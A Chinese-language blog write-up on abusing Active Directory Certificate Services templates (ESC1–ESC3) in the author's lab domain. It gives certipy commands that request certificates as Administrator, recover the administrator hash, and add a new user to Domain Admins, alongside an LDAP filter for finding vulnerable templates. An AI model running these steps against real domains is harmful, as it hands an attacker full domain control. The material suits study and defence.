ADCS ESC 1-3 攻击链路

前言:ADCS ESC 1-3 攻击链路的笔记

参考文章:https://learn.microsoft.com/en-us/defender-for-identity/security-assessment-prevent-users-request-certificate
参考文章:https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf
参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/ec71fd43-61c2-407b-83c9-b52272dec8a1
参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1
参考文章:https://forum.butian.net/share/1578
参考文章:https://github.com/GhostPack/Rubeus/issues/97
参考文章:https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html

ESC1攻击链路(EKU 客户端身份验证)

证书模板利用条件

  • 颁发CA授予低权限用户请求权限(默认)

  • 模板中CA管理员审批未启用(默认)

  • 模板中不需要授权的签名(默认)

  • 模板允许低权限用户(domain users)/机器注册(domain computers),如下图所示中允许任意域机器来进行注册证书

  • 模板定义了启用认证(客户端身份验证)的EKU

  • 设置请求证书中请求提供方式为CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT

表明客户端在证书请求中自己提供主体信息,也就是证书模板允许请求者在CSR中(证书请求)中指定主体信息SAN(subjectAltName)

上面的条件都满足的情况下,证书模板允许请求者在CSR中(证书请求)中指定主题信息SAN(subjectAltName),其中就是可以指定自己当前申请的身份,从而可获取到伪造身份的证书。

配置了domain users / domain computers的情况下的利用

这边创建一个证书模板满足ESC1利用条件,证书模板名称为ECCCC,如下图所示

这边查看是否存在可利用的模板,如下图所示

certipy find -u alimaomao@zpchcbd.com -p admin@123 -dc-ip 192.168.75.202 -vulnerable -debug

针对ESC1模版ECCCC请求证书

certipy req -u alimaomao@zpchcbd.com -p admin@123 -dc-ip 192.168.75.202 -debug -target-ip 192.168.75.156 -ca adcs -template ECCCC -upn administrator@zpchcbd.com

身份验证,auth命令将询问您使用哪个身份进行身份验证,这边使用的是administrator@zpchcbd.com,获取的哈希就是administrator的,如下图所示

certipy auth -pfx administrator.pfx -dc-ip 192.168.75.202

配置domain computers的情况下的利用

certipy find -u alimaomao@zpchcbd.com -p admin@123 -dc-ip 192.168.75.202 -vulnerable -debug

certipy req -u WIN-6R2MMNGJLI3$@zpchcbd.com -hashes :a8b93c18dada22dcd0a2a54687882c65 -dc-ip 192.168.75.202 -debug -target-ip 192.168.75.156 -ca adcs -template ESC11 -upn administrator@zpchcbd.com

certipy auth -pfx administrator.pfx -dc-ip 192.168.75.202

fpx进行kerberos认证碰到KDC_ERROR_CLIENT_NOT_TRUSTED的问题

这边利用的时候有可能会碰到KDC_ERR_CLIENT_NOT_TRUSTED的情况,自己第一次实战的时候就碰到了,如下图所示KDC_ERR_CLIENT_NOT_TRUSTED报错情况

寻找解决办法1(这个不可行)

参考文章:https://github.com/GhostPack/Rubeus/issues/97

解决方法:本地管理员权限,打开组策略gpedit.msc,计算机配置->Windows 设置->安全设置->本地策略->安全选项,找到配置Kerberos允许的加密类型,将下面全部勾选即可

自己本地搭建了一个相同的环境,然后进行将组策略中的下面配置进行勾选,但是实际上通过pfx认证的时候还是提示KDC_ERR_CLIENT_NOT_TRUSTED,如下图所示

certipy auth -pfx henggemaomao.pfx -dc-ip 192.168.75.22

寻找解决办法2

参考文章:https://github.com/AlmondOffSec/PassTheCert
参考文章:https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html

2023-10-19通过PassTheCert解决该问题

certipy auth -pfx administrator.pfx -dc-ip 192.168.75.202 -ldap-shell

# add_user xiaoyuer
Attempting to create user in: %s CN=Users,DC=zpchcbd,DC=com
Adding new user with username: xiaoyuer and password: {o1,O@!)uj^A=n' result: OK
# add_user_to_group xiaoyuer "Domain Admins"
Adding user: xiaoyuer to group Domain Admins result: OK

代码实现证书模板利用条件检查

代码实现证书模板利用条件检查LDAP过滤器执行语句如下所示

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextend edkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4) (pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))

语句解析

参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/ec71fd43-61c2-407b-83c9-b52272dec8a1
参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1

  • &(objectclass=pkicertificatetemplate) 这是在objectclass属性为pkicertificatetemplate的对象中进行搜索。

  • (!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))是就mspki-enrollmentflag属性使用匹配规则1.2.840.113556.1.4.804来排除所有值为2(证书请求挂起状态)的实体。

  • (|(mspki-ra-signature=0)(!(mspki-rasignature=*)))是在mspki-ra-signature属性为0或不存在mspki-rasignature属性的对象中进行搜索。

  • (mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1)是使用1.2.840.113556.1.4.804匹配规则寻找mspkicertificate-name-flag属性值为1的对象。

  • (|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextend edkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4) (pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))是用于查找pkiextendedkeyusage属性为1.3.6.1.4.1.311.20.2.2、1.3.6.1.5.5.7.3.2、1.3.6.1.5.2.3.4或2.5.29.37.0,或者没有定义pkiextendedkeyusage属性的对象。

注意点:没有定义pkiextendedkeyusage属性的意味着当前的模板是的PKU属性是Any Purpose (OID 2.5.29.37.0) 可以用于任何目的,包括客户端身份验证,可以用于任何情况给其他用户来颁发证书。

描述对象描述符(OID)有如下四种,分别是客户端认证、PKINT客户端认证、智能卡登录以及任何目的

  • 客户端认证 1.3.6.1.5.5.7.3.2

  • PKINIT客户端认证 1.3.6.1.5.2.3.4

  • 智能卡登录 1.3.6.1.4.1.311.20.2.2

  • 任何目的 2.5.29.37.0

ESC2攻击链路(定义无EKU)

证书模板利用条件

  • 颁发CA授予低权限用户请求权限(默认)

  • 模板中CA管理员审批未启用(默认)

  • 模板中不需要授权的签名(默认)

  • 证书模板中定义了无EKU

注意:在ESC1中的证书模板定义了启用认证(客户端身份验证)的EKU,而这里的话是应用程序策略EKU是无,也就是pkiextendedkeyusage属性为无

注意:跟esc1对比起来,该esc2不需要设置请求证书中请求提供方式为CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT

配置了pkiextendedkeyusage属性为无的模板

这里直接在ESC1模板的基础上修改下应用程序策略EKU为无即可,如下图所示

ESC2漏洞利用

这边先通过工具进行检测可以看到存在一个ESC2名称的证书模板存在配置不当的情况,如下图所示

ADScan.exe DomainGather /ADCS

以ESC2为模板申请证书

certipy req -u alimaomao@zpchcbd.com -p admin@123 -ca adcs -target 192.168.75.156 -template ESC2

使用alimaomao证书代理申请Administrator证书,注意-on-behalf-of参数值必须是DOMAIN\USER的形式

certipy req -u alimaomao@zpchcbd.com -p admin@123 -ca adcs -target 192.168.75.156 -template User -on-behalf-of 'zpchcbd\Administrator' -pfx alimaomao.pfx -debug

使用上面申请到的administrator.fpx来向域控机器进行身份认证

certipy auth -pfx administrator.pfx -dc-ip 192.168.75.202

ESC3攻击链路(EKU 证书申请代理Certificate Request Agent)

证书模板利用条件

  • 颁发CA授予低权限用户请求权限(默认)

  • 模板中CA管理员审批未启用(默认)

  • 模板中不需要授权的签名(默认)

  • 证书模板中定义了证书申请代理的EKU

注意:与ESC1和ESC2的EKU不同,这里的是"证书申请代理"的EKU,该esc3不需要设置请求证书中请求提供方式为CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT

配置了pkiextendedkeyusage属性为证书申请代理的模板

这里直接在ESC2模板的基础上修改下应用程序策略EKU为"证书申请代理",如下图所示

ESC3漏洞利用

这边先通过工具进行检测可以看到存在一个ESC3名称的证书模板存在配置不当的情况,如下图所示

ADScan.exe DomainGather /ADCS

以ESC3为模板申请证书

certipy req -u alimaomao@zpchcbd.com -p admin@123 -ca adcs -target 192.168.75.156 -template ESC3

使用alimaomao证书代理申请Administrator证书,注意-on-behalf-of参数值必须是DOMAIN\USER的形式

certipy req -u alimaomao@zpchcbd.com -p admin@123 -ca adcs -target 192.168.75.156 -template User -on-behalf-of 'zpchcbd\Administrator' -pfx alimaomao.pfx -debug

使用上面申请到的administrator.fpx来向域控机器进行身份认证

certipy auth -pfx administrator.pfx -dc-ip 192.168.75.202

posted @   zpchcbd  阅读(540)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
点击右上角即可分享
微信分享提示